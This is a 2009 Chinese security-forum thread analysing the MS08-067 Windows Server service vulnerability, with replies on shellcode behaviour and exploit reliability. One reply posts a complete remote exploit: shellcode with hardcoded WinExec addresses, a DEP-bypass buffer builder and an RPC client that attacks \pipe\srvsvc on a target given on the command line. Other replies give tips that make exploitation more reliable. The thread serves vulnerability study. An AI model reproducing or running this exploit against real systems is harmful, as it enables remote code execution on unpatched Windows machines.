首页
社区
课程
招聘
[原创]EMM's MS08-067 exploit 原理分析
发表于: 2009-1-13 16:41 15302

[原创]EMM's MS08-067 exploit 原理分析

2009-1-13 16:41
15302
// srvsvc_NetPRNameCompare -> NetpwNameCompare
      func23(L"ph4nt0m",(wchar_t *)"\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89",(wchar_t *)"\x4D\x00\x56\x89\x56\x89",4,0);
typedef LONG NTSTATUS;
typedef NTSTATUS  (WINAPI *pRtlUpcaseUnicodeToOemN)( 
   OUT PCHAR  OemString,    
   IN ULONG  MaxBytesInOemString,    
   OUT PULONG  BytesInOemString  OPTIONAL,    
   IN PWSTR  UnicodeString,    
   IN ULONG  BytesInUnicodeString    
   );
   
    NTSTATUS status;
    pRtlUpcaseUnicodeToOemN RtlUpcaseUnicodeToOemN;
    CHAR    OemString1[100] = {0};
    CHAR    OemString2[100] = {0};
    ULONG   MaxBytesInOemString1 = sizeof(OemString1);
    ULONG   MaxBytesInOemString2 = sizeof(OemString2);
    ULONG   BytesInOemString = 0;
    CHAR    UnicodeString1[] = "\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89";
    CHAR    UnicodeString2[] = "\x4D\x00\x56\x89\x56\x89";
    ULONG   BytesInUnicodeString1 = sizeof(UnicodeString1)-sizeof(UnicodeString1[0]);
    ULONG   BytesInUnicodeString2 = sizeof(UnicodeString2)-sizeof(UnicodeString2[0]);

    hLib = LoadLibrary("ntdll.dll");
    RtlUpcaseUnicodeToOemN = (pRtlUpcaseUnicodeToOemN)GetProcAddress(hLib, "RtlUpcaseUnicodeToOemN");
    
    status = RtlUpcaseUnicodeToOemN(OemString1,
        MaxBytesInOemString1,
        &BytesInOemString,
        (PWSTR)UnicodeString1,
        BytesInUnicodeString1);
        
    status = RtlUpcaseUnicodeToOemN(OemString2,
        MaxBytesInOemString2,
        &BytesInOemString,
        (PWSTR)UnicodeString2,
        BytesInUnicodeString2);
    
    FreeLibrary(hLib);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (24)
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
2
只要共享就是牛B的,支持一个。
2009-1-13 17:27
0
雪    币: 247
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
我之前也是遇到calc不弹出gui的情况,不清楚你的shellcode中是不是用的WinExec函数,如果是,那么:
UINT WinExec(
  LPCSTR lpCmdLine,  // command line
UINT uCmdShow      // window style,尝试设置为SW_SHOW或者其他合适值
);
2009-1-13 18:54
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
4
直接用Metasploit生成的Shellcode,估计是CreateProcess吧。
貌似是因为服务进程不带GUI,并且和用户进程所用桌面不同的缘故,好像比较复杂。
2009-1-13 20:32
0
雪    币: 147
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
服务里调用界面程序,我原来也遇到过这个问题,在服务的属性的登陆里,有一个允许服务和桌面交互,钩上后再调用才能显示界面,不过怎么在程序里解决这个问题我忘了.
2009-1-14 09:39
0
雪    币: 150
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
为什么我按lz的代码转换两个字符串是这样的呢,dll版本和lz一致
上传的附件:
2009-1-14 10:23
0
雪    币: 5160
活跃值: (4032)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
7
2006-08-09 10:43

MS06-040/KB921883

CVE     ID : CVE-2006-3439
BUGTRAQ ID : 19409
2009-1-14 11:48
0
雪    币: 247
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
8
BOOL CreateProcess(
  LPCTSTR lpApplicationName,                 // name of executable module
  LPTSTR lpCommandLine,                      // command line string
  LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // SD
  BOOL bInheritHandles,                      // handle inheritance option
  DWORD dwCreationFlags,                     // creation flags
  LPVOID lpEnvironment,                      // new environment block
  LPCTSTR lpCurrentDirectory,                // current directory name
  LPSTARTUPINFO lpStartupInfo,               // startup information, 如果设定为NULL,继承父进程的STARTUPINFO
  LPPROCESS_INFORMATION lpProcessInformation // process information
);

typedef struct _STARTUPINFO {
    DWORD   cb;
    LPTSTR  lpReserved;
    LPTSTR  lpDesktop;
    LPTSTR  lpTitle;
    DWORD   dwX;
    DWORD   dwY;
    DWORD   dwXSize;
    DWORD   dwYSize;
    DWORD   dwXCountChars;
    DWORD   dwYCountChars;
    DWORD   dwFillAttribute;
    DWORD   dwFlags;
    WORD    wShowWindow;
    WORD    cbReserved2;
    LPBYTE  lpReserved2;
    HANDLE  hStdInput;
    HANDLE  hStdOutput;
    HANDLE  hStdError;
} STARTUPINFO, *LPSTARTUPINFO;

忒麻烦了点~~~~
2009-1-14 12:53
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
9
可能与系统语言版本有关。另外,看你图中显示的,你是不是在输入数据后面多加了个字符呢?
2009-1-14 13:47
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
10
听你说了下,我又去看了遍MS的公告,看到如下一句话。

此更新解决了一个秘密披露的漏洞以及通过内部调查发现的附加问题。


不知所说的附加问题是否就是指这个BUG?
2009-1-14 13:53
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
11
等有空时再去调试下MetaSploit的Shellcode好了。
看到有其它文章说要解决服务进程显示GUI的问题,必须在服务初始化时与用户进程的Desktop绑定,麻烦。
2009-1-14 13:56
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
http://www.amxku.net/MS06-040/
2009-1-14 14:01
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
13
感谢提供的资料。看了下,这个BUG的确是在MS06-040补丁里修正的。
2009-1-14 14:36
0
雪    币: 150
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
感谢lz,问题已解决
原来是局部变量
CHAR    OemString1[100];
CHAR    OemString2[100];
没初始化,将其改成
CHAR    OemString1[100] = {0};
CHAR    OemString2[100] = {0};
就ok了

呵呵,突然想起一个笑话,引用下
从前有个哥们,程序中不爱初始化,于是...后来大家都知道了,所以大家一定要注意初始化啊
上传的附件:
2009-1-14 14:53
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
15
[QUOTE=hyxhan;565020]感谢lz,问题已解决
原来是局部变量
CHAR    OemString1[100];
CHAR    OemString2[100];
没初始化,将其改成
CHAR    OemString1[100] = {0};
CHAR    OemString2[100] = {0};
就ok了
2250...[/QUOTE]

汗一个,貌似我这个代码就没有初始化。
2009-1-14 15:06
0
雪    币: 150
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
呵呵,没有针对lz,勿怪
2009-1-14 16:13
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
我把看雪tt比赛的打开ie的代码加到shellcode中,单机调试的时候能弹出来,但是用emm的代码注入另外一台电脑的时候弹不出来,调试了发现它跑到winexec了,但是就是没窗口,还有高手知道为什么么?嘿嘿,如果可以的话就可以到处乱弹出bbs.pediy.com了

不懂啥是gs,Metasploit带的过dep的代码很好用。
2009-1-14 21:05
0
雪    币: 267
活跃值: (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
1.wcscpy和上一层函数都没有栈cookie保护,再上一层函数就有了。因此,覆盖下面两层函数的返回地址都不会有问题,通常是覆盖wcscpy的返回地址跳到一个可执行的区域(return2libc),然后去掉DEP的保护。然后就可高枕无忧地跳回栈中的shellcode去执行。
2.看不到窗体的确是因为服务要指定用户的桌面。否则它怎么知道要把窗体显示在谁的桌面上?
3.看看我这个EXP,可以过DEP的。请在WINXP SP3下测试。

UCHAR ucSC_SP3[] =
"\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xF4\x53\x56\xBF"
"\xAD\x23\x86\x7C"//winexec地址
"\xFF\xD7\x53\xBF"
"\xE8\xC0\x80\x7C"//ExitThread地址
"\xFF\xD7";

// 去掉DEP
void MakeExpData(LPVOID lpBuf)
{
        LPBYTE lpBt = (LPBYTE)lpBuf;
        int i = 0;
        for (i = 0; i < 512*2; i +=4)
        {
                *(long*)(lpBt + i) = 0x90909090;
        }

        //注意,下面构造的串要注意字节对齐问题(4字节),否则数值将会被拆散
        memcpy(lpBt, L"\\a\\..\\..\\abcd", wcslen(L"\\a\\..\\..\\abcd")*2);
        //准确的存放返回地址的地方应该距离上面最后一个'\'是0xA0
        //0x7C956831, 调用NtSetInformationProcess的地址
        *(long*)(lpBt + 0x8*2 + 0xa0 - 4) = 0x00030080;
        *(long*)(lpBt + 0x8*2 + 0xa0) = 0x58fc17c2;
        //后面跟一个返回地址, 与前面空出4个字节是给pop ebp用
        *(long*)(lpBt + 0x8*2 + 0xa0 + 8) = 0x7ffa4512;
        //在后面添加shellcode,空出4个字节是给ret 4用
        memcpy(lpBt + 0x8*2 + 0xa0 + 16, ucSC_SP3, sizeof(ucSC_SP3)-1);

}

//code by liangyu
int main(int argc, char *argv[])
{
        RPC_STATUS status;
        LPBYTE lpObjUuid = /*NULL*/"4b324fc8-1670-01d3-1278-5a47bf6ee188";//这个GUID可以为NULL,RPC文件含有
        LPBYTE lpProtSeq = "ncacn_np";
        LPBYTE lpNetworkAddr = argv[1];
        LPBYTE lpEndPoint = /*"\\pipe\\browser"*/"\\pipe\\srvsvc";//这两个命名管道都可以
        LPBYTE lpOptions = NULL;
        LPBYTE lpStringBinding = NULL;

        status = RpcStringBindingCompose(lpObjUuid, lpProtSeq, lpNetworkAddr, lpEndPoint, lpOptions, &lpStringBinding);
        if (status != RPC_S_OK)
        {
                printf("RpcStringBindingCompose FAILED!\r\n");
                return 0;
        }
        status = RpcBindingFromStringBinding(lpStringBinding, &srvsvc__MIDL_AutoBindHandle);
        if (status != RPC_S_OK)
        {
                RpcStringFree(&lpStringBinding);
                printf("RpcBindingFromStringBinding FAILED!\r\n");
                return 0;
        }

        RpcTryExcept
        WCHAR wcPath[512] = {0};
        BYTE btOut[1024] = {0};
        long lType = 100;
        long lFlag = 0;
        //func23,即NetpwNameCompare(0x5fddf3ef)
        func23(L"exploit",(wchar_t *)"\x53\x00\x56\x89\x56\x89\x56\x89\x56\x89",(wchar_t *)"\x4D\x00\x56\x89\x56\x89",4,0);//在栈中构造一个‘\’痕迹

        //开始生成并发送EXP数据
        MakeExpData(wcPath);
        //调用NetpwPathCanonicalize
        func1f(L"exploit", wcPath, btOut, 1024, L"", &lType, lFlag);
        RpcExcept(EXCEPTION_EXECUTE_HANDLER)
        printf("RpcExceptionCode:%d\r\n", RpcExceptionCode());
        RpcEndExcept

        RpcStringFree(&lpStringBinding);
        RpcBindingFree(&srvsvc__MIDL_AutoBindHandle);

        return 0;
}
2009-1-15 01:32
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
19
过DEP的方法MetaSploit里有很多很多。
2009-1-15 09:37
0
雪    币: 11370
活跃值: (3386)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
20
汗一个,貌似我这个代码就没有初始化。

不知道是不是 这样的问题:
http://bbs.pediy.com/showthread.php?t=76204

"另外我发现公布的exploit 好几个版本(metasploit除外没细看)都是
fun(".\\\\x\..\..\xxxxxxxx...",buffer[],1000,L"",&q,1);
这样执行bug函数时 如果L''" 这一项为空字符串,会把.\\\\x\..\..\xxxxxxxx... 连接到栈里的某个地址指向的内容后面,如果这个地址指的内容为空,那么可以顺利进行,如果不为空,就会失败,带有一定的随机性.

如果fun("\\x\..\..\xxxxxxxx...",buffer[],1000,L".",&q,1); 这样利用,则会吧L"."后面加\ 后接在\\x\..\..\xxxxxxxx... 前面,可以保证顺利进行

"

我觉得上面的情况可能是没打ms06040补丁的原因.
2009-1-15 09:55
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
至于为什么弹不出来界面,在西方失败兄的《深入浅出MS06-040》已经讲的很明白了。
这里引用下给大家解释下:
在shellcode中的相应位置修改一下函数地址,赶快往外发吧!我当时在VC里点感叹号运行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它运行。
结果很不幸,靶机并没有弹出我们希望的BOX,但是也没有像前面攻击失败那样搞的系统崩溃而重启。如果你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;如果没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call ecx,然后顺着shellcode执行,但到了call MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗口句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的增加内存使用,同时也不停的“咚咚”或者“嘀嘀”。
这是为什么呢? 我觉得这个现象可以这样解释:由于我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经开始在后台运行了,虽然它也加载user32.dll,但是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”可以作证,系统没有崩溃可以作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”按钮的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点按钮,也就自然退不出函数调用了,这也解释了service.exe很有规律的不断增加内存使用的现象。
综上,结合RPC调用编程和本地溢出实验中的技术,我们已经可以让远程目标机执行任意的代码了(虽然只听到响声没看到框框)。
2009-1-15 11:48
0
雪    币: 5160
活跃值: (4032)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
22
你的shellcode在CreateProcess时增加对窗口站、桌面的设置,最简单的比如:

    si.lpDesktop                        = "WinSta0\\Default";

&si作为CreateProcess()的倒数第二个形参,具体的可查MSDN。
2009-1-15 12:20
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
23
不错,在2180版本上不成功是因为没打补丁的缘故,但是如果采用Prefix加'.'的办法,则也可以成功。
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L".",(DWORD *)Buff3,1);


.....
2009-1-15 12:24
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
24
感谢scz,这种方法貌似很简单,但如果不是CreateProcess,而是WinExec之类的,是不是就没办法了呢?呵呵。

我试一下。

另外,最新调试了下,发现MetaSploit这段创建calc的Shellcode用的是Winexec。
2009-1-15 12:26
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
和MS06-040非常相似的问题```` `都是同一个函数出现的问题.
2009-2-2 18:10
0
游客
登录 | 注册 方可回帖
返回
//